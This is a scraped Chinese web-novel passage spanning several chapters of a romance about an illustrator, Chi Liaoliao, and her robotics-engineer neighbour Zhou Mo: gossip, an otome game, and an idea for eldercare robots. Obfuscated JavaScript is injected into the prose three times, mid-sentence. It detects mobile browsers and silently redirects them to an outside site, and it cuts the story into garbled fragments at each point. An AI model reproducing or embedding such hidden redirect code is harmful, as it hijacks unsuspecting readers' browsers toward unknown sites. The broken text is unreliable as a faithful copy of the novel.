迟了了一下子怔住了，惊愕地看着她。 “过度内归因的人，其实很多时候也怀有一种隐蔽的自救心理。他们渴望自己能被原谅，渴望有人能站出来，客观地告诉他们不是自己的错。但更多的，他们又觉得自己犯了错，不应该被原谅，在这样自责的同时，心底对原谅的隐蔽渴望又会进一步加重他们的罪恶感，于是形成一种恶性循环。 “这时候，你的那些话，就是他一直需要的原谅。” “那我妈妈那个时候，也是……”迟了了喃喃道。 “对，”女人温柔地看着她。 迟了了怔怔地看着手里已经被自己咬扁的吸管，慢慢发起了呆。 女人没有打扰她，端起咖啡，又喝了一口。 …… 柜台前，闯闯刚给客人点完单，就见两人并肩往这边走来。 来到近前，女人朝她笑了笑：“谢谢你的咖啡，很好喝。” “现在要走了吗？”闯闯问。 “对，我在附近参加研讨会，不能久留，以后有机会再来。” “那，路上小心。” 女人点点头，又朝后面看过来的阿葱笑了一下，然后抬手揉了揉迟了了的脑袋，转身走了出去。 看着女人出了咖啡店，走向路边停着的一辆白色汽车，然后汽车慢慢驶离，闯闯这才收回目光，垂眸看向一旁正不安分地拨弄着杯套盒的迟了了。 “聊的怎么样？”她拿起刚刚已经擦干净的杯子又擦了起来，仿若漫不经心地问了句。 “嗯？”迟了了抬起头，笑眯眯的，“很好呀！哦对了闯闯，我告诉你一个好消息！” “……什么好消息？”闯闯刚松下的一口气又提了起来。 “我出师啦！” “……” 看着眼前这个好像无忧无虑的臭丫头，这一刻，闯闯竟然不知道自己是应该高兴，还是无语。 - 迟了了提出的“点睛”这个名字，获得了周默和祝赫的一致认可，而接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818867|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来的很长一段时间，两人都没有再见到面。 精卫最新一代产品发布之后，周默就开始正式忙碌了起来。 他和祝赫一起，一边再度商讨细化了之前的构想，并确定了居家养老机器人的研发步骤，以及后期不断完善，并转向通用居家机器人方向的大策略，一边组建新团队，和与投资方沟通。 “点睛”项目组筹建伊始，加班是常有的事，有时还要飞去国外。 就这样，在这个夏天最炎热的这段时间里，周默每天披星戴月，早出晚归，等新团队真正建立起来、前期框架基本搭建完成，工作也回归到正常节奏的时候，已经是一个多月以后了。 而在这一个多月里，迟了了也在忙。 《萤火虫奇遇记》经过长达数月的反复绘制、修改和完善，终于定稿了！ 定稿后，她需要拿着一堆手绘稿去出版社找肖音韬，然后由出版社扫描、美编老师校色、排版后，确认无误，就可以正式下印了。 这天，从出版社回来，她刚走进8号楼，正吐槽这都已经立秋了，怎么太阳还是这么热情，一抬头，就看到了电梯口也正转头看过来的周默。 一个多月不见，眼前的周默看起来有种显而易见的疲惫。 但，迟了了琢磨了一下，又觉得这疲惫也说不上不好。 因为此时此刻，周默浑身上下都不再是像之前那样好像万事不挂心的厌倦，而是由内到外地散发着一股难以忽视的精气神。 这种精气神，就像是生命终于有了重心和目标一样。 想起之前在“或者”的那次谈话，她不由得生出一种救人一命胜造七级浮屠的自豪感。 在迟了了看周默的时候，周默也在看她。 这一个多月，他真是过得昏天黑地，不用照镜子，只看祝赫也知道，此时的自己一定是颇为狼狈的。 反观眼前这个生活节奏十分规律——规律地晚睡晚起——的人，身上穿着那件他曾见过一次、可以表演当场翻脸的黑色emojiT恤，和一件与黄脸同色的五分裤，脚踩一双同样黄色的帆布鞋，整个人是一如既往的开开心心，活蹦乱跳，精力十足。 唉，说不羡慕是假的。 迟了了一看见他，先是愣了一下，随即像是一盏灯泡被打开，整个人啪地一下就亮了！ “周默？！好久不见！” 嗯，还是这熟悉的、让人感觉有点无奈的热情。 周默心想。 “好久不见。” 这时，电梯下来，两人等里面的人先出来了，才一前一后上去。 电梯门一阖上，迟了了就热情问候：“周默，你最近怎么样？” “还行。” “最近很忙吗？” “有点。” “接下来还这么忙吗？” “应该会好一些。” “机器人什么时候能研发出来？” “……还要有段时间。” …… 从一楼到八楼，迟了了一个问题接着一个问题，而周默也罕见地有耐心——对此，迟了了觉得可能是这一个多月没见攒出来的。 等到了八楼，周默冲她点了下头，抬脚出去。 可刚走到门口，正准备抬手开门，迟了了又突然喊住他：“周默你先别关门，我有东西要给你，待会儿下来！” 说完，不等周默反应，电梯门又“啪”地一下关上。 周默：……好吧。 40. 爱情不老 “这是张大爷过寿，张越送来的茶叶，说收到太多了，喝不完！” “这是小茉莉过生日，让我给你留的糖果！” “这是二爸，哦就是许愿爸爸，寄来的石头！” “这是袁月带着小圆子去旅游寄来的特产！” …… 客厅里，周默看着面前一大堆东西，又听着迟了了一一介绍它们的来历，还没听完就已一头雾水： “张大爷是谁？张越又是谁？” “小茉莉是谁？” “房东为什么给我寄石头？” “袁月给我寄特产？” “哎呀，”迟了了无奈地看着他，“张大爷是张越的爸爸啊，张越就是……坦克，你还记得吗？那只胖柯基！” 哦—— 周默恍然记了起来。 “小茉莉是我楼上1001家的女儿，之前有一次我在楼底下给她系鞋带，你还撞见了呢！记得吗？” 说起这个，迟了了又想起当初面前这人躲着自己的事了，哀怨地瞪了他一眼。 周默自然也想到了，心虚地抬手挠了挠眉梢。 迟了了继续往下说：“二爸不是给你送石头，是要给我的，他是搞地质研究的，经常收集这些奇奇怪怪的石头，但我家摆不下了，一般这种情况，我都是把东西扔给许愿，所以这一个，我也准备放在许愿那个关起来的次卧里。” 原来如此，周默对此没有意见，点了下头。 “至于袁月给你寄特产……现在不是暑假嘛，她带小圆子出去旅游了，我就托她帮我买点当地特产来尝尝。她觉得咱俩住楼上楼下，那干脆就一起寄点过来吧！” 听了这话，周默无动于衷地看着她：“你觉得我信吗？” 呃，迟了了有一瞬间的心虚，但转而又理直气壮：“信啊！为什么不信？” 周默挑眉看着她，半晌，又一次点点头——这次是无话可说。 迟了了嘿嘿一笑，她才不会说袁月压根就没给他寄什么特产，只给自己寄了，是自己觉得不太合适，就匀出来了一些给他呢！ “那那些呢？”周默又抬抬下巴，示意她身后的另一堆。 迟了了茫然回头一看——哦，差点忘了！ “这是张奶奶儿子送来的谢礼，张奶奶生病的时候他不是回来了嘛，知道是咱俩发现张奶奶病发的，等张奶奶一出院就拿了好多东西来道谢。张奶奶还特意做了点心呢，不过你当时好几天没在家，我就自己吃了，嘿嘿！” 周默对这倒无所谓：“老人家情况怎么样了？她儿子已经回去了？” “嗯，回去了。” 说罢想起之前周默对张奶奶儿子意见挺大，迟了了又补充：“张奶奶身体恢复得差不多了，本来她儿子还说要么把她接国外去，要么自己回来，说什么也不能再让张奶奶一个人生活了——” 说到这儿，迟了了压低声音，一脸唏嘘：“中间还哭了好几次。” “……你听到了？”周默好气又好笑地顺着她话问。 “嗯啊，”迟了了说，“我睡得晚嘛，他都是半夜偷偷地哭。” 周默脸色稍稍沉下。 过了会儿，他又问：“后来呢？” “后来，张奶奶怎么都不乐意，她不想出国，也不想儿子放弃国外好不容易拿到的绿卡，还有前途和事业，最后双方各退一步，张奶奶准备搬去养老院了。” “就是，你之前说的那个能打乒乓球能弹琴的养老院？” “不是，有点远，离小张奶奶家更近一些，但环境据说还不错。因为张奶奶儿子还是不放心，就让小张奶奶儿子，也就是他表弟，时不时去看看，还说自己以后也会常回来看看的。” 周默沉吟片刻，倒也释然了。 这方案虽然仍有不尽如人意之处，但也已经算是对各方都比较好的一种选择了。 养老，说是一个家庭的问题，但其实也是一个社会的问题。它涉及的不仅是父母和子女，还有就业、住房、医疗等等个方面，甚至是宏观经济，和和时代趋势。 如果仅靠家庭成员间的互相牺牲、迁就让步，即便再努力再辛苦，也总有力有不逮之处。想要真正解决，或者只是缓解这个问题，还需要整个社会的同心协力。 …… 送完东西，又把工艺品送去次卧，迟了了磨磨蹭蹭，没有立刻走。 周默打量着她，忍不住问：“你还有事？” 迟了了等的就是他这一句，忙不迭点头：“有啊有啊！” “什么事？” 迟了了往旁边蛋壳沙发里一坐，兴冲冲地探头问他：“周默，你想了解一下你的目标客群吗？” 目标客群？ 周默眉头一皱，用一种很陌生的眼神看向她。 这个用词有点过于商务化，从迟了了嘴里说出来，硬是显得与她整个人的画风都不搭，甚至很有些小孩偷穿大人衣服的意味。 “什么意思？”他问。 迟了了眯眼一笑，又换了个更舒服的坐姿继续往下说：“咱们小区，最近发生了一件关于老年人的大新闻！我觉得吧，这件事背后肯定隐藏了什么老年人生活需求的本质！” 周默更警惕了，却又当真被她勾起了那么一丝丝好奇，于是半信半疑地侧了侧身子，像是时刻准备逃跑的样子。 “……什么新闻？” 迟了了刻咳咳两声清了清嗓子，又坐直身子，一脸郑重其事：“咱们小区对面，有个棋牌室，你知道吧？” 周默点头。 那棋牌室就在小区正大门斜对面，他每次出门都能看到。 “棋牌室里，经常有很多离退休的爷爷奶奶叔叔阿姨去打牌，你知道吧？” 这他就不知道了，他又没进去过。 “不知道没关系，”迟了了摆摆手，又说，“咱们小区和附近小区里，就有不少老人没事的时候就喜欢去里面消磨时间。我去里面看过，跟餐厅差不多，有开放式的大厅，也有小包间，反正都是一桌一桌的，可以认识的人一起组团去玩，也可以现场拉人组局玩——” “不是，你怎么进去的？”周默奇怪了，不都是中老年人吗？ “我怎么不能进去？人家开门做生意，又没规定只接待老人。”迟了了反驳道，“我就说我先进去看看，然后因为没有同龄牌友又出来了呗！再说了，人家只是工作日老人多，周末节假日也是有年轻人去里面聚会放松的。” “……”行叭。 周默示意她继续往下说。 “咱们小区5号楼，就有个大爷经常去里面打牌，他牌友就像我刚刚说的，有小区里抬头不见低头见的邻居，也有别的小区的人，还有别人带来的人。 “这位大爷呢，60多岁，退休好几年了，孙子都快上高中了，结果——” 迟了了说到这儿，冷不丁一刹车，目光炯炯地看着周默。 “……” 周默很想告诉她：你这说书的本事有点差。 但顿了顿，还是配合地往下问了一句：“怎么？” 迟了了满意了：“结果！前几天大爷的老伴儿突然闹上了棋牌室，还搬了个小马扎坐在棋牌室门口大哭，说大爷他在棋牌室里——” “呃……过世了？” “啪”地一下，迟了了往沙发扶手上一拍：“出，轨，了！” “？？？” 周默将这三个字消化了半天，最后眉头几乎都要打成死结了，也只能发出一个极其简单的字符—— “哈？” 这就是所谓的“大新闻”？ 这是什么八卦板块？ 迟了了瞪着一双眼睛看着他：“怎么样？震不震惊？！意不意外？！” 周默：呃—— “而且据说，出轨对象就是大爷经常打牌的牌友，是个50多岁刚退休的阿姨，丧偶好些年了！更抓马的是什么你知道吗？这位阿姨对这位大爷——没，意，思！她是为了另一位大爷才经常去这家棋牌室打牌的！” 迟了了越说越起劲，最后对这既狗血又充满人性复杂面的真实故事发出一声悠长的感叹： “是谁说，老年人就没有错综复杂的爱情了呀！” 而周默看着她意犹未尽的表情，早已经无语扶额…… 下一秒，他突然从沙发上起身，拽起迟了了的胳膊就往外走。 “哎哎哎，怎么了！” 迟了了被他拽得小跑起来，边跑边问。 周默将她拉倒门口，从鞋架上拿出她花里胡哨的拖鞋放在她脚边，然后起身开门：“你也别扯什么‘客群需求’了，我看你就是想找个人聊八卦。” 迟了了正在换鞋，闻言赶紧替自己辩解：“我是想聊八卦，但你可以想想这背后能有什么洞察呀，透过现象看本质嘛！” “哦对，”下一秒，她突然反应过来，“你学计算机的，高中应该是读的理科，所以不知道这个也正常。” 这都什么跟什么！ 周默实在忍不了了，见她已经换好鞋，立刻摆摆手让她赶紧走。 迟了了一边往外退，一边还想再劝劝他：“真的，周默，你——” 可话还没说完，就被对方一句“慢走，不送”打断了，紧接着面前的大门“啪”一下阖上。 被关在门外的迟了了：“……” 真是可惜！ 低头看看胸前的笑脸，她嘴角一耷拉，抬手就把这脸翻了个面，而后唉声叹气地走了。 - 第二天，“或者”咖啡。 迟了了一进门，就看到柜台内外闯闯和阿葱一人倚着一边，各自埋头横端着个手机。 听到门口的铃铛声，两人刷一下就把手机放下了，头都没抬起来就不约而同地喊了一声：“欢迎光临！” 等看清来人是迟了了后，又齐齐嗐了一声，重新端起手机，专心致志。 迟了了见状好奇极了：“你俩干嘛呢？” “玩游戏。”闯闯懒洋洋道。 “什么游戏？”这么沉迷？ “是一款前段时间刚出的新游戏，叫《恋之契约》。”阿葱甜甜的娃娃音说道。 迟了了回忆了一一番：“没听说过，怎么玩的？” “这个游戏是以《山海经》里的世界为背景，专门针对女玩家的。玩家进入游戏后会遇到五个种族不同、性格不同的男角色，每个男角色背后都有一条单独的故事线，女玩家和五个男角色可以缔结契约，然后一起探索故事线，做任务，解锁人物故事和新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818868|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地图，还能和角色培养感情！”阿葱一心两用，一口气说道。 “哦——”迟了了明白了，“这不就是乙女游戏吗？” “对呀。” “你们怎么玩起这个来了？” “我同好群里最近好多人都在玩，我也来玩玩呀。”阿葱说。 迟了了恍然大悟，她差点忘了，阿葱还是资深的二次元少女。 “那你呢？”她又问闯闯。 闯闯头也没抬，说：“这游戏是我之前公司出的，我看人物设计和世界观还挺有意思，就看看。哎，你今天怎么过来了？” 见她终于关注自己了，迟了了立刻双手叉腰：“我交稿啦！我解放了！！！” 然而，听到这话，闯闯抬头看了她一眼——只一眼，就又收回视线：“哦，恭喜恭喜。” 那语气、那神情，真是要多敷衍有多敷衍！ 迟了了不满：“能不能行了！给点真诚的祝贺可不可以！” 闯闯这才放下手机，看着她露出一副大大的笑容，同时双手举起啪啪啪拍了几下：“祝贺我们‘或者咖啡’二老板迟三三同学，作品交稿！暂时毕业！！新书大卖！！！” 迟了了这才满意。 就在这时，两人之间的收银机突然叫了起来：“您有新的外卖订单，请及时处理。” 上一秒还在鼓掌的闯闯立刻端起手机，对迟了了丢下一句：“我忙着呢，你来做。” 迟了了：“……啊？” …… 两分钟后，穿上围裙又把头发扎起来的迟了了一边做咖啡，一边忿忿瞪了眼旁边“玩游戏丧志”的两人。 “你俩玩多久了啊？”沉迷成这样。 闯闯正在转场的间隙，闻言抬头思考了片刻，又扭头问阿葱：“上周开始玩的吧？” 阿葱头也没抬：“好像是——啊啊啊！！我抽到稀有卡了！！！” 闯闯一听，赶紧也凑了过去：“哪张哪张？我看看！我去，竟然是这张！我还没有！” 两人激动得一阵手舞足蹈，在后面做咖啡的迟了了更是元气满满。 “……有这么好玩吗？”她不屑地嘟囔。 - “你们说说，对此有什么看法？” 午后，正是咖啡馆一天中最忙的时间段之一，迟了了一个人实在做不过来，闯闯和阿葱终于不能再偷懒，暂且放下手机，和她一起干活。 三个人一起忙，便需要一些八卦作为佐料，于是迟了了就把前一天跟周默讲过的“老年多角恋爱情故事”又说了一遍，并询问她们的感想。 “狗血！真狗血！”阿葱感慨万千。 “糊涂啊！”闯闯更是一副怒其不争的样子，“都一把年纪了，竟然还看不透爱情的迷障！” 可不是嘛！ 迟了了和阿葱都表示同意。 现在年轻人都不爱谈恋爱了，老年人竟然还沉迷在你爱我、我爱他、他爱她、她爱他的狗血剧情里。 而更令迟了了满意的是——瞧瞧，这才是聊八卦的氛围嘛，哪像昨天那样！ 如此想着，旁边闯闯继续没说完的话：“这年头恋爱还用亲自谈吗？玩把游戏不就成了！不仅能谈，还能同时谈好几个，也不会有人说你渣！” 迟了了顿时出了戏：“……别再说你那游戏了，好吗？” 闯闯斜睨了她一眼，旋即傲娇地一甩头：“哼！”不说就不说。 可不成想东边不亮西边亮，她这边刚停，另一边阿葱又接过话：“三三姐，你也可以玩玩，真的！很有意思的！那几个男角色又帅又美，而且性格也不一样，高冷傲娇、温润奶狗、暗黑魅惑……应有尽有哦~” 闯闯呵地一笑：“别了，她可是画儿童绘本的，别被污染了纯洁的小心灵，不然咱们祖国的花朵们可要危险咯~” 这话里话外的阴阳怪气简直呼之欲出，迟了了立马“切”了她一声。 …… 晚上，为了庆祝迟了了新书交稿，又在“魔鬼编辑”手下度过了一轮水深火热的劫难，并成功迎来短暂的假期，三个人一起去搓了顿烤肉。 待酒足饭饱，这才各回各家。 洗完澡，迟了了一个人坐在沙发里，开始享受这个不用赶稿的悠闲的晚上。 然而…… 将遥控器从头按到尾，又把几个视频网站上的热门电视剧综艺扫了个遍，她却一直没找到个想看的。 于是，在不用赶稿的第一天晚上，迟了了沮丧地往沙发里一躺，无所事事地仰天长叹了一声： “好无聊啊——” 就在这时，白天阿葱的话蓦地再次在她耳边响起：“那几个男角色又帅又美，而且性格也不一样——” 不对不对！ 迟了了赶紧摇了摇头。 耳边的声音随即切换成了闯闯的：“这游戏是我之前公司出的，我看人物设计和世界观挺有意思的，就看看。” 这才对嘛！ 迟了了满意地点点头，拿出手机，下载游戏。 “我可不是为了玩游戏和谈赛博恋爱呢。”她像是在跟空气中某个虚无缥缈的人解释般喃喃自语，“作为一名专业漫画家和插画师，我是为了考察一下里面的人物设计到底能有多好看！” 41. 老年乙游 又是一个周末。 因为昨夜的一场大雨洗净了空气，今早的天气呈现出夏日里格外珍稀的爽朗清新。 周默不必去公司，但也有一些工作要处理，于是吃完早饭，便拿了电脑在客厅沙发上干起活来。 正干得投入，一阵敲门声响起。 熟悉的节奏、熟悉的力度，周默从来没想过，自己有一天竟然会仅凭敲门声就能判断出来人是谁。 这让他觉得，自己可能是被驯化了…… 而意识到这一点的他，顿时不怎么开心了。 为了反抗这种“被驯化”的趋势，他拿起手机，发了条信息过去： 【自己开，密码是100111。】 不一会儿，嘀嘀嘀的声音响起。 可就在他以为门要被打开的时候，紧接着又传来几声急促的“嘀嘀嘀”的报警音，等了两秒，声音再次响起，这次才是开锁的声音。 周默立刻收回想将电脑放在一旁的手，继续正襟危坐，头也不抬地敲着键盘。 然而这副消极反抗的态度，却被迟了了忽略得彻彻底底。 “周默，你这是什么密码啊？111、00的，差点把我看晕了。”迟了了进屋，一边换鞋一边嘟囔。 “生日的二进制。”周默淡淡地说。 “啊？” 二进制？迟了了愣了愣。 她只知道二进制是一串0啊1的，但具体怎么转换完全摸不着头脑。 正想问究竟是什么数，又听周默问：“你来有事？” “哦，有！”迟了了想起自己的正事，顿时也顾不上什么二进制了，穿着拖鞋就啪啪啪小跑过去。 来到沙发前，她掏出手机，先欠身试探着问了一句：“周默，你玩不玩《恋之契约》？” 好看的手指一顿，周默从电脑上抬起头：“什么东西？” “《恋之契约》，最近很火的一款乙女游戏！” 周默沉默了，且不说他很少玩游戏：“……是什么让你觉得，我会玩乙女游戏？” 诶？ 迟了了一呆，下一秒顿时乐得不行：“哈哈哈哈对不起，我脑抽了，哈哈哈哈……” 周默看着她，简直满头黑线。 他不再管她，继续低头工作。 等笑够了，迟了了揉揉有些发酸的脸颊，抓着手机又凑了上来，声音中满是谄媚：“既然你没玩过，那你帮我点一下呗？” 工作再次被打断，周默心累地抬头看向她。 迟了了眨巴眨巴那双漂亮的荔枝眼，又把手机往前递递。 周默叹了口气，目光垂落到眼前的手机上。 几枚绚丽星环交错的蓝色背景上，一张设计精美的卡牌正背面朝外，一上一下地悬浮着，卡牌正中还有个一闪一闪的光斑，似乎在吸引人点上去。 “你，还玩这个？”他实在匪夷所思。 眼前这人，可不像是这么有少女心的样子？ 莫非……自己对她的认知一直有误，她虽然看起来不大着调，实际上还是个憧憬浪漫爱情的小女生？ 迟了了正义凛然地摇摇头：“我朋友老找我聊这个游戏，这不听多了，我就想看看到底怎么个好玩法嘛！”她挑挑眉，说，“你不是没玩过吗？快借我一下你的手指头，帮我抽张卡！” “为什么要我抽？”周默赶紧往后一缩，一副避之不及的样子。 “新手运啊！”迟了了又催促，“快点快点！” 周默抗拒地看着那个小小的屏幕，又看了她一眼，对上她满怀重托和信任的眼神，心里一阵挣扎，纠结了几番，最终还是抬手点了上去。 随着他指尖触及屏幕，深蓝色背景上的精致星环瞬间像苏醒了一样，缓缓转动起来，紧接着，星环越转越快，越转越快，最后竟然变成了一片残影！而残影中，他手指刚刚点触的位置，也随之光芒大作！ 终于，待眩目的光晕散去，屏幕上的画面焕然一新，精美的卡面已经翻转过来，露出正面一个魅惑感十足的古风男性画像—— 长发凌乱、 眉眼长勾、 鼻梁高挺、 下颌锋利、 唇色殷红、 颈间宝石闪烁、 半敞的黑袍下，还有…… 黑色渔网背心？ 周默瞬间倒吸一口凉气，几乎想要自戳双目！ 而与此同时，迟了了却忽然跳了起来，激动地大喊：“哇！一级！！一级！！！我有一级卡啦！还是最难抽的海王！” 海王？？？ 周默错愕地看着她：不是，这不是骂渣男的词吗？ “周默，你果然是这个！”迟了了朝他比了个大拇指，高兴地说，“不愧是学神的手指啊！神之右手！！” ……我用的是左手。 周默很想纠正她，但见她眼下满心满眼都是那张卡，又将话咽了回去。 可顿了顿，他还是忍不住问了句：“这图，你不觉得辣眼睛吗？” “不啊，为什么辣眼睛？”迟了了有卡万事足，完全不介意他的话。 “就……这画风、这内容、这——”他欲言又止，难以启齿。 迟了了坐在单人蛋壳沙发椅里，将自己喜得一级卡的消息发到或者的三人小群里，成功换回一长串羡慕嫉妒恨的表情包后，才分出神来留意他说的话。 这一听，她先是愣了一下，随后明白了什么，促狭地看向周默。 “咦，周默，你老古板哦——” 周默：“……？？？” 他怎么就老古板了？ 然而不等他为自己辩解，迟了了眼睛忽地一亮，放下手机直勾勾地看着他。 周默心里一紧：“你又想干嘛？” “我想到一个主意！”迟了了说。 “……什么主意？”周默立刻拉起戒心。 “你那个机器人，能不能加入这个功能？” 周默一时间没跟上她的思路：“什么功能？”说游戏呢，关他机器人什么事？ “这个功能！”迟了了举起手机，晃了晃，“谈恋爱这种！” “？？？” 周默一怔，然后整个人瞬间石化。 迟了了还在继续说着：“我说真的！你看啊，老人家们很多都是独居的，这种情况下需要什么？情感关怀是不是！你不也说你们机器人有情感陪伴功能吗？那虚拟恋爱不也是情感陪伴的一种？再说了，上次咱们小区那个出轨的大爷如果有——” 周默终于缓过神来，连忙伸手打断她：“等等等等，你的意思是，要在我们机器人上装乙女游戏？” “嗯嗯！” “不行！”周默毫不犹豫地否决，“这跟让老人和机器人恋爱有什么区别？” “没区别又怎样？”迟了了不以为然，“让老年人和AI机器人来段黄昏恋，也挺浪漫的嘛！之前不也有人类爱上机器人管家的电影吗？” “这是技术研发，追求的是严谨，不是有趣。”周默收起脸上多余的表情，义正词严道。 见他好像真的有些介意自己这个发散，迟了了立马老实下来：“哦……” “而且这有悖伦理！”周默郑重又说。 迟了了态度端正地点头：“嗯！” 她这样收放自如，倒让周默一时没了着力点，只能气闷地看着她。 屋内一时陷入沉默。 然而冷静下来，周默细细回想迟了了的话，又觉得似乎也不是毫无可取之处。 他之前陷入了思维定式，只认为老人们的情感陪伴来自于子女和晚辈，可被她这歪点子一说，自己也惊醒过来，似乎世人对于老人恋爱这件事总是有一个偏见，认为老人恋爱就是为老不尊、老不修，要么就是糊涂被骗。 可为什么老年人不能享受爱情？为什么老奶奶不能玩女性向游戏、老爷爷不能玩男性向游戏？ 但…… 如果要这样做，他们面临的将不仅是技术上的问题，还有社会伦理的拷问。 他摇摇头，这事回头再说不迟，他看向面前埋头看着手机不再说话的迟了了—— 还是先安抚眼前人吧。 “咳，虽然不太靠谱，但你的建议也给我提供了一个新思路，回头我和团队再讨论讨论，谢谢你。”周默清清嗓子，缓了缓语调说。 咦？ 正在三人小群里聊得火热的迟了了闻言抬起头，惊讶地看着他：“你的意思是，我刚瞎说的对你真有帮助？” “……” 很好，“瞎说”两个字成功又让周默胸口闷了一闷。 “嗯。”他还是点点头。 “嘿，我可真聪明！”迟了了歪歪头，灿烂的脸上满是得意。 周默：“……” 迟了了，你真是好样的！ - 对于“自由职业”，许多人往往有个误解，认为他们可以随意安排自己的时间和工作方式，想不工作就不工作，想去哪玩就去哪玩。 当然，一定程度上确实如此，然而更多的情况则是全年无休，不到一项工作干完就不会停下。 迟了了也是如此。 托肖音韬这个暴躁编辑兼工作狂的福，她在《萤火虫奇遇记》创作期间虽然作息跟普通上班族迥然不同，但工作节奏却也差不多了。如今好不容易熬来一个假期，除了接点商稿赚点钱，她自然要好好玩一玩。 乙女游戏的瘾来得快去得也快，不过一个星期，她便像个真正的“渣女”一样，将五位各有千秋的男角色厌弃了。 去城西山上探望过家人后，她在家里盘算了半天，跟闯闯一合计，两人将“或者”的大门一关，寻了个海岛，潇潇洒洒度假去了。 而这段时间，周默因为全身心扑在工作上，一开始完全没留意到身边清静了许多。 直到几天后，他突然收到一件从海岛寄来的包裹，一看寄件人，才知道迟了了出去玩了，又打开一看，竟然是好几个包裹得严严实实的大贝壳。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818869|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 当然，也少不了海岛的特产水果——这人是真爱给人送水果啊！周默不禁摇头笑叹。 于是偶尔闲下来的时候，他不自觉地养成了翻朋友圈的习惯。 每天打开朋友圈，在一众同行分享的论文链接和行业新闻中，属于迟了了的那部分总是格外鲜活且引人注目—— 去玩尾波冲浪，即便一开始跪在冲浪板上连站都站不起来，还被扬起的浪花劈头盖脸扇了好几个“巴掌”，她却依然能乐得见牙不见眼，隔着定格的照片似乎都能听到她叽叽喳喳的笑声。 然而上一张还狼狈得不行，下一张她就已经能松开拉绳，站在冲浪板上双手比耶了。 再划一张，又是她在潜水时，“骚扰”附近游鱼的照片，卷曲的长发被海水拖浮起来，毫无拘束地飘荡着，像是她这个一直自由自在的人。 还有吃海鲜大餐的、喂海鸥的、卷着裤腿赶海的、跟朋友玩闹的…… 周默看着这些照片和视频，当真觉得她这日子过得令人艳羡，跟自己这个整日在公司对着电脑敲键盘的人一对比，简直像是生活在两个世界。 “看什么呢？” 祝赫见他对着手机笑得满面春风，好奇地探过头来也想看看。 没想到刚看到一张照片的影子，周默便迅速将手机锁屏、反扣在了桌子上。 “嘿，怎么还搞这么神秘呢？” “没什么，”周默扫了他一眼，低头吃饭，“就是在想，或许什么时候可以出去旅个游。” “嗯？” 祝赫奇怪地看着眼前这人，觉得他怕不是中邪了？ …… 在周默暗戳戳偷看迟了了的朋友圈时，迟了了也没忘了他。 准确来说，是自从知道周默研究机器人之后，她再看到这类东西就觉得特别亲切。 连这次出游坐飞机、住酒店时，她见到人脸识别的设备都跟见到老朋友一样。 更别说，在酒店遇到送东西的机器人了。 一走小半个月，冲浪、潜水、沙滩浴玩了个痛快，还坐游轮出了海，等再回来，迟了了整个人都黑了一度。 此时，她正抱着自己的专属抱枕盘腿坐在蛋壳椅里，兴致勃勃地同周默讲着她旅行中遇到的趣事。 “你不知道，那小家伙可好玩了！不仅送餐能准确找到我们房间，还叫我‘客官’，走的时候还会说——”她停下来，清清喉咙，捏着嗓子发出一串娃娃音，“‘有好评，我妈妈会给我糖吃的’。” 而后又恢复正常，双眼晶亮地问周默，“怎么样，超可爱有没有！” 周默目光闪了闪：“……嗯。” “有一次，我故意挡住它的路，它还会说‘请让一让’。” 周默有些无语。 故意挡机器人的路，这事确实是她能做出来的。 “还有还有，它还会自己坐电梯！快到楼层的时候，还会说‘我给大家表演一个隔空按电梯吧’，然后电梯门就开了，是不是超级神奇！” 周默开始有些哭笑不得。 关于这个机器人，他当然从她的朋友圈里见到过，只是没想到背后还有这么多事。 “酒店的服务机器人主要是由环境感知、自主导航和智能交互几个系统组成，并相互配合完成工作的，”他解释道。 “能准确找到你的房间，是因为事先对酒店地图和所有房间位置进行了位置扫描记录，这就跟扫地机器人初始启动时需要建立全屋地图一样。 “而察觉到你挡路，是传感器的作用。至于自己坐电梯，是机器内部装有无线发射器，能和电梯里的接收器直接进行信息传导控制的。” “哦——”迟了了恍然大悟，可转而又问，“但它有时候也有点傻乎乎的是为什么？比如有一次我们回去，刚好碰到那个机器人也要进电梯，明明我们各站各的，可它非说我们挡它路了，还委屈巴拉地哭唧唧……” “……这可能，是因为设置了避障程序，比如避障标准如果设置的是二十厘米，那么即便没有触碰到，当相互距离小于二十厘米时也会被机器人识别到。至于哭……人格设定而已。”周默说。 “哦——”迟了了再次茅塞顿开。 不过，二十厘米的避障距离？ 她屈指点点下巴：这不就跟周默的社交边界一个道理吗？ 机器人有避障距离，周默有社交边界，四舍五入…… 周默就等于机器人！ 不愧是研究机器人的呀！ 迟了了突然感觉思路一片清晰！ 而想通了这一点，再看周默，迟了了仿佛看到他周身二十厘米左右的距离上也出现了一层隐隐约约的电子光膜。 一旦有人越过了这个光膜，他便会像那个小机器人一样“哎呀哎呀”地用软萌可爱的娃娃音急呼呼地叫唤起来。 